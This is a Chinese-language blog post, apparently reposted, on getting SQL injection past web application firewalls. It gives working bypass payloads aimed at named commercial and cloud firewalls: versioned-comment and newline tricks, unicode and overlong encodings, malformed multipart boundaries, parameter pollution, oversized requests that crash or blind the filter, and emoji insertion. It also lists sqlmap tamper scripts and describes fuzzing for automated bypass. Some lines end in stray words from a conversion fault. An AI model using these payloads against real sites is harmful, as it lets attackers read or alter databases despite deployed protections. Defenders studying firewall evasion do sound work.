個人WafBypass之道(SQL注入篇)

原帖地址:https://xianzhi.aliyun.com/forum/read/349.htmlphp

0x00 前言

去年到如今就一直有人但願我出一篇關於waf繞過的文章,我以爲這種老生常 談的話題也沒什麼可寫的。html

不少人一遇到waf就發懵,不知如何是好,能搜到的各 種姿式也是然並卵。mysql

可是積累姿式的過程也是迭代的,那麼就有了此文,用來總 結一些學習和培養突破waf的思想。web

可能總結的並不全,但目的並非講那些網上 搜來一大把的東西,So…並不會告訴你們現有的姿式,sql

而是突破Waf Bypass思惟定勢達到獨立去挖掘waf的設計缺陷和如何實現自動化的Waf Bypass(這裏只講主流 waf的黑盒測試)shell

0x01 搞起

當咱們遇到一個waf時,要肯定是什麼類型的?先來看看主流的這些waf,狗、盾、神、鎖、寶、衛士等等。。。(在測試時不要只在官網測試,由於存在版本差別致使規則庫並不一致)數據庫

    雲waf

在配置雲waf時(一般是CDN包含的waf),DNS須要解析到CDN的ip上去,在請求uri時,數據包就會先通過雲waf進行檢測,若是經過再將數據包流給主機。apache

    主機防禦軟件

在主機上預先安裝了這種防禦軟件,可用於掃描和保護主機(廢話),和監聽web端口的流量是否有惡意的,因此這種從功能上講較爲全面。這裏再插一嘴,mod_security、ngx-lua-waf這類開源waf雖然看起來不錯,可是有個弱點就是升級的成本會高一些。json

    硬件ips/ids防禦、硬件waf(這裏先不講)

使用專門硬件防禦設備的方式,當向主機請求時,會先將流量通過此設備進行流量清洗和攔截,若是經過再將數據包流給主機。後端

再來講明下某些潛規則(關係):

百度雲加速免費版節點基於CloudFlare

安全寶和百度雲加速規則庫類似

創宇雲安全和騰訊雲安全規則庫類似

騰訊雲安全和門神規則庫類似

硬件waf自身漏洞每每一大堆

當Rule類似時,會致使一個問題,就好比和雙胞胎結婚曉得吧?嗯。

0x02 司空見慣

咱們還須要把各類特性都記牢,在運用時加以變化會頗有效果。

    數據庫特性
註釋:
#

-- 

-- - 

--+ 

// 

/**/ 
/*letmetest*/ 
;

利用註釋簡單繞過雲鎖的一個案例:

攔截的,但/**/ > 1個就能夠繞過了,也就是/**//**/以上均可以。

科學記數法:

空白字符:

SQLite3 0A 0D 0C 09 20
    MySQL5 09 0A 0B 0C 0D A0 20
    PosgresSQL 0A 0D 0C 09 20
    Oracle 11g 00 0A 0D 0C 09 20
    MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

+號:

-號:

``符號:

~號:

!號:

@`形式`:

點號.1:

單引號雙引號:

括號select(1):

試試union(select)雲盾會不會攔截

花括號:

這裏舉一個雲盾的案例,並附上當時fuzz的過程:

union+select 攔截
    select+from 不攔截
    select+from+表名 攔截
    union(select) 不攔截
    因此能夠不用在意這個union了。
    union(select user from ddd) 攔截
    union(select%0aall) 不攔截
    union(select%0aall user from ddd) 攔截
    fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。
    union(select%0aall{user}from{ddd}) 不攔截。

Bypass Payload:

1 union(select%0aall{x users}from{x ddd})
    1 union(select%0adistinct{x users}from{x ddd})
    1 union(select%0adistinctrow{x users}from{x ddd})

可運用的sql函數&關鍵字:

MySQL:
    union distinct
    union distinctrow
    procedure analyse()
    updatexml()
    extracavalue()
    exp()
    ceil()
    atan()
    sqrt()
    floor()
    ceiling()
    tan()
    rand()
    sign()
    greatest()
    字符串截取函數
    Mid(version(),1,1)
    Substr(version(),1,1)
    Substring(version(),1,1)
    Lpad(version(),1,1)
    Rpad(version(),1,1)
    Left(version(),1)
    reverse(right(reverse(version()),1)
    字符串鏈接函數
    concat(version(),'|',user());
    concat_ws('|',1,2,3)
    字符轉換
    Char(49)
    Hex('a')
    Unhex(61)
    過濾了逗號
    (1)limit處的逗號:
    limit 1 offset 0
    (2)字符串截取處的逗號
    mid處的逗號:
    mid(version() from 1 for 1)
    MSSQL:
    IS_SRVROLEMEMBER()
    IS_MEMBER()
    HAS_DBACCESS()
    convert()
    col_name()
    object_id()
    is_srvrolemember()
    is_member()
    字符串截取函數
    Substring(@@version,1,1)
    Left(@@version,1)
    Right(@@version,1)
    (2)字符串轉換函數
    Ascii('a') 這裏的函數能夠在括號之間添加空格的,一些waf過濾不嚴會致使bypass
    Char('97')
    exec

Mysql BIGINT數據類型構造溢出型報錯注入: BIGINT Overflow Error Based SQL Injectionhttp://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html

    容器特性

%特性:

asp+iis的環境中,當咱們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而沒特殊要求的waf固然是不會的:

修復方式應該就是檢測這種百分號%的周圍是否能拼湊成惡意的關鍵字吧。

%u特性:

iis支持unicode的解析,當咱們請求的url存在unicode字符串的話iis會自動將其轉換,但waf就不必定了:

修復事後:

這個特性還存在另外一個case,就是多個widechar會有可能轉換爲同一個字符。

    
    s%u0065lect->select
    s%u00f0lect->select

WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0

其實不止這個,還有不少相似的:

    字母a:
    %u0000
    %u0041
    %u0061
    %u00aa
    %u00e2
    單引號:
    %u0027
    %u02b9
    %u02bc
    %u02c8
    %u2032
    %uff07
    %c0%27
    %c0%a7
    %e0%80%a7
    空白:
    %u0020
    %uff00
    %c0%20
    %c0%a0
    %e0%80%a0
    左括號(:
    %u0028
    %uff08
    %c0%28
    %c0%a8
    %e0%80%a8
    右括號):
    %u0029
    %uff09
    %c0%29
    %c0%a9
    %e0%80%a9

畸形協議&請求:

asp/asp.net:
還有asp/asp.net在解析請求的時候,容許application/x-www-form-urlencoded的數據提交方式,無論是GET仍是POST,均可正常接收,過濾GET請求時若是沒有對application/x-www-form-urlencoded提交數據方式進行過濾,就會致使任意注入。


php+Apache:

waf一般會對請求進行嚴格的協議判斷,好比GET、POST等,可是apache解析協議時卻沒有那麼嚴格,當咱們將協議隨便定義時也是能夠的:

PHP解析器在解析multipart請求的時候,它以逗號做爲邊界,只取boundary,而普通解析器接受整個字符串。 所以,若是沒有按正確規範的話,就會出現這麼一個情況:首先填充無害的data,waf將其視爲了一個總體請求,其實還包含着惡意語句。

    ------,xxxx
    Content-Disposition: form-data; name="img"; filename="img.gif"
    GIF89a
    ------
    Content-Disposition: form-data; name="id"
    1' union select null,null,flag,null from flag limit 1 offset 1-- -
    --------
    ------,xxxx--
    通用的特性:

HPP:

HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串屢次出現同一個key時,根據容器不一樣會獲得不一樣的結果。
假設提交的參數即爲:id=1&id=2&id=3

    Asp.net + iis:id=1,2,3
    Asp + iis:id=1,2,3
    Php + apache:id=3

雙重編碼:

這個要視場景而定,若是肯定一個帶有waf的site存在解碼後注入的漏洞的話,會有效避過waf。

    unlencode
    base64
    json
    binary
    querystring
    htmlencode
    unicode
    php serialize

咱們在總體測試一個waf時,可測試的點都有哪些?

GET、POST、HEADER那麼咱們專門針對一個waf進行測試的時候就要將這幾個點全測試個遍,header中還包括Cookie、X-Forwarded-For等,每每除了GET之外其餘都是過濾最弱的。

0x03 見招拆招

正則逃逸大法」:或許你們沒據說過這個名詞,由於是我起的。我發現不少waf在進行過濾新姿式的時候非常一根筋,最簡單的比方,過濾了%23%0a卻不過濾%2d%2d%0a?上面提到八成的waf都被%23%0a所繞過。



科學計數法1union、1from?屢次被坑的安全寶&百度雲加速&Imperva:


過濾了union+select+from,那我select+from+union呢?使用Mysql自定義變量的特性就能夠實現,這裏舉一個阿里雲盾的案例:


因爲後面在調用自定義變量的時候須要用到union+select,因此還須要繞過這個點。/*ddd*/union/*ddd*/select 就能夠了。

Bypass Payload:

如何作到經過推理繞過waf?這裏舉一個騰訊雲安全的案例:

繞過思路: 首先看看騰訊雲安全怎麼檢測sql注入的,怎麼匹配關鍵字會被攔截,怎麼匹配不會?

union+select攔截

select+from攔截

union+from不攔截

那麼關鍵的點就是繞過這個select關鍵字

select all

select distinct

select distinctrow

既然這些均可以,再想一想使用這樣的語句怎麼不被檢測到?select與all中間確定不能用普通的/**/這種代替空格,仍是會被視爲是union+select。select all能夠這麼表達/*!12345select all*/,騰訊雲早已識破這種爛大街的招式。嘗試了下/*!*/中間也可使用%0a換行。

/*!12345%0aselect%20all*/仍是會被攔截,這就說明騰訊雲在語法檢測的時候會忽略掉數字後面的%0a換行,雖然屬於union+12342select,但簡單的數字和關鍵字區分識別仍是作獲得。再測試/*!12345select%0aall*/,結果就合乎推理了,根據測試知道騰訊雲安全會忽略掉%0a換行,這就等於union+12345selectall, 不會被檢測到。(忽略掉%0a換行爲了過濾反而能夠用來加以利用進行Bypass)


可能會問,推理的依據並不能真正意義上證實忽略掉了%0a啊?固然要證實下啊,/*!12345%0aselect%0aall*/就被攔截了,說明剛開始檢測到12345%0aselect就再也不檢測後方的了,union+12345select就已經能夠攔截掉了。


還可能會問,既然忽略掉了%0a,那麼/*!select%0aall*/是否是也能夠啊,然而並不行。合理的推理頗有必要。
Bypass Payload:

    1' union/*!50000select%0aall*/username from users%23
    1' union/*!50000select%0adistinct*/username from users%23
    1' union/*!50000select%0adistinctrow*/username from users%23

不是繞不過狗,只是不夠細心:

    union+select攔截。
    select+from攔截。
    union+from不攔截。
    fuzz了下/*!50000select*/這個5位數,前兩位數<50 && 第二位!==0 && 後三位數==0便可bypass。(一點細節也不要放過。)


測試環境

    Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload:
    1' union/*!23000select*/user,password from users%23


這裏證實一個觀點:好姿式不是死的,零零碎碎玩不轉的姿式巧妙的結合一下。因此說一個姿式被攔截不表明就少了一個姿式。

0x04 別按套路出牌

雲鎖版本迭代致使的 & 360主機衛士一直存在的問題:

注意POST那個方向,waf在檢測POST傳輸的數據過程當中,沒有進行URL的檢測,也就是說waf會認爲URL上的任何參數信息都是正常的。既然是POST請求,那就只檢測請求正文咯。(神邏輯)

在標準HTTP處理流程中,只要後端有接收GET形式的查詢字段,即便客戶端用POST傳輸,查詢字符串上知足查詢條件時,是會進行處理的。(沒毛病)



當waf成了宕機的罪魁禍首是什麼樣的?舉一個安全狗的案例:

/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/

註釋中包含超長查詢字符串,致使安全狗在識別的過程當中掛掉了,連帶着整個機器Service Unavailable:

再舉一個雲鎖也是由於數據包過長致使繞過的案例:

雲鎖在開始檢測時先判斷包的大小是否爲7250byte如下,n爲填充包內容,設置n大小爲2328時,能夠正常訪問頁面,可是會提示攔截了SQL注入

當數據包超過2329時就能夠成功繞過,2329長度之後的就不檢測了。?

0x05 猥瑣很重要

這裏講個有意思的案例,而且是當時影響了安全寶、阿里雲盾的姿式:
有次睡前想到的,emoji圖標!是的,平時作夢並無美女與野獸。當時只是隨便一想,次日問了5up3rc,他說他也想過,但測試並無什麼效果

emoji是一串unicode字集組成,一個emoji圖標占5個字節,mysq也支持emoji的存儲,在mysql下佔四個字節:

既然在查詢的時候%23會忽略掉後面的,那麼Emoji就能夠插入到%23與%0A之間。再加多試了試,成功繞過了,200多個emoji圖標,只能多,但少一個都不行。。。

可能會說,這是由於超⻓查詢致使的繞過吧?並非。

這麼⻓,mysql也是會執行的:


咱們再來測試阿里雲盾:

當縮少emoji數量的話會攔截,想一想仍是再加多些試試:

仍是攔截,那剛纔的沒攔截是怎麼回事?點根菸,逐一進行排查。發現能繞過的緣由和emoji數量無關,而是某個emoji能夠。

就是這個憤怒的emoji,其餘的emoji都不行。惟獨憤怒臉能夠:

將這些emoji進行urlencode看看特徵,到底是什麼緣由?看看哪些emoji插入不會被攔截:

有些emoji進行urlencode後是很⻓的,由於是幾個emoji進行組合的。

將這些payload進行注入進去。

難道只有這個憤怒臉插入進去就能夠繞過?也不能這麼說,我發現能繞過的字符都是ascii碼超過了127的字符:

那爲何憤怒臉的emoji能夠?這裏提到emoji的特徵,常⻅的emoji是四位組成,前三位多數是一致的,把這三位插入payload試試:

能夠實現繞過,再來看看憤怒臉的urlencode:

最後一位是%a0,那麼也就是說徹底能夠忽略掉最後一位,而多數emoji第四位是 ascii 127的字符,會致使waf引擎沒法檢測。


0x06 自動化Bypass

首先總結下sqlmap的各類bypass waf tamper:

    apostrophemask.py 用UTF-8全角字符替換單引號字符
    apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
    appendnullbyte.py 在payload末尾添加空字符編碼
    base64encode.py 對給定的payload所有字符使用Base64編碼
    between.py 分別用「NOT BETWEEN 0 AND #」替換大於號「>」,「BETWEEN # AND #」替換等於號「=」
    bluecoat.py 在SQL語句以後用有效的隨機空白符替換空格符,隨後用「LIKE」替換等於號「=」
    chardoubleencode.py 對給定的payload所有字符使用雙重URL編碼(不處理已經編碼的字符)
    charencode.py 對給定的payload所有字符使用URL編碼(不處理已經編碼的字符)
    charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
    concat2concatws.py 用「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」替換像「CONCAT(A, B)」的實例
    equaltolike.py 用「LIKE」運算符替換所有等於號「=」
    greatest.py 用「GREATEST」函數替換大於號「>」
    halfversionedmorekeywords.py 在每一個關鍵字以前添加MySQL註釋
    ifnull2ifisnull.py 用「IF(ISNULL(A), B, A)」替換像「IFNULL(A, B)」的實例
    lowercase.py 用小寫值替換每一個關鍵字字符
    modsecurityversioned.py 用註釋包圍完整的查詢
    modsecurityzeroversioned.py 用當中帶有數字零的註釋包圍完整的查詢
    multiplespaces.py 在SQL關鍵字周圍添加多個空格
    nonrecursivereplacement.py 用representations替換預約義SQL關鍵字,適用於過濾器
    overlongutf8.py 轉換給定的payload當中的全部字符
    percentage.py 在每一個字符以前添加一個百分號
    randomcase.py 隨機轉換每一個關鍵字字符的大小寫
    randomcomments.py 向SQL關鍵字中插入隨機註釋
    securesphere.py 添加通過特殊構造的字符串
    sp_password.py 向payload末尾添加「sp_password」 for automatic obfuscation from DBMS logs
    space2comment.py 用「/**/」替換空格符
    space2dash.py 用破折號註釋符「–」其次是一個隨機字符串和一個換行符替換空格符
    space2hash.py 用磅註釋符「#」其次是一個隨機字符串和一個換行符替換空格符
    space2morehash.py 用磅註釋符「#」其次是一個隨機字符串和一個換行符替換空格符
    space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
    space2mssqlhash.py 用磅註釋符「#」其次是一個換行符替換空格符
    space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
    space2mysqldash.py 用破折號註釋符「–」其次是一個換行符替換空格符
    space2plus.py 用加號「+」替換空格符
    space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
    unionalltounion.py 用「UNION SELECT」替換「UNION ALL SELECT」
    unmagicquotes.py 用一個多字節組合%bf%27和末尾通用註釋一塊兒替換空格符
    varnish.py 添加一個HTTP頭「X-originating-IP」來繞過WAF
    versionedkeywords.py 用MySQL註釋包圍每一個非函數關鍵字
    versionedmorekeywords.py 用MySQL註釋包圍每一個關鍵字
    xforwardedfor.py 添加一個僞造的HTTP頭「X-Forwarded-For」來繞過WAF

看起來很全,但有個缺點就是功能單一,靈活程度面對當今的主流waf來講很吃力了。
鑑於多數waf產品是使用Rule進行防禦,那麼這裏也不提什麼高大上的機器學習。就是簡單粗暴的fuzz。

去年黃登提到過創建有毒標示模型,根據這個模型將waf進行訓練。

我把每一個sql關鍵字兩側可插入的點稱之爲「位」,最基本的一句注入語句就有這些位:

    假設有n個有毒標示
    最基本的注入語句能夠插入五個位
    這五個位定義爲a1,a2...a5
    那麼結果將會是多少呢?

這個是疊加的,關鍵字不止這些,稍微複雜一點的環境就會須要更多的關鍵字來注入,也就會須要fuzz更多的位。
還須要通過各類編碼事後,根據數據庫的樣式使用相應的特性和配合的函數等等。
當前幾個關鍵字達到繞過效果時,只需繼續fuzz後面幾個位便可。
還有就是傳輸過程當中可測試的點:

由於當咱們在傳輸的過程當中致使的繞過每每是致命的,好比中間件的特性/缺陷,致使waf不能識別或者是在知足特定條件下的欺騙了waf。

0x07 End

一寫起來就根本停不起來,後期決定出一系列waf繞過文,例如文件上傳、webshell防護、權限提高等Waf繞過。xss的bypass就算了,防不勝防…

相關文章
相關標籤/搜索